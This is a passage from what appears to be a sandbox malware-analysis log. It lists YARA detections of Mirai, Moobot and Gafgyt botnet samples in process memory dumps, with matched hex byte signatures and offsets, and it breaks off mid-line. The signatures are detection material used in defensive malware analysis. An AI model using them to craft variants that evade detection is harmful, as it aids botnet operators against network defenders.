7112.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7112.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7112.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7112.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7112.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7112.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6684.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6306.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7272.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6400.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6400.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7256.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7305.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7138.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6402.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6402.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6402.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6711.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6711.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6711.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6711.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6711.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6711.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7137.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7137.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7137.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7137.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7137.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7137.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7194.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6363.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6363.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6363.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 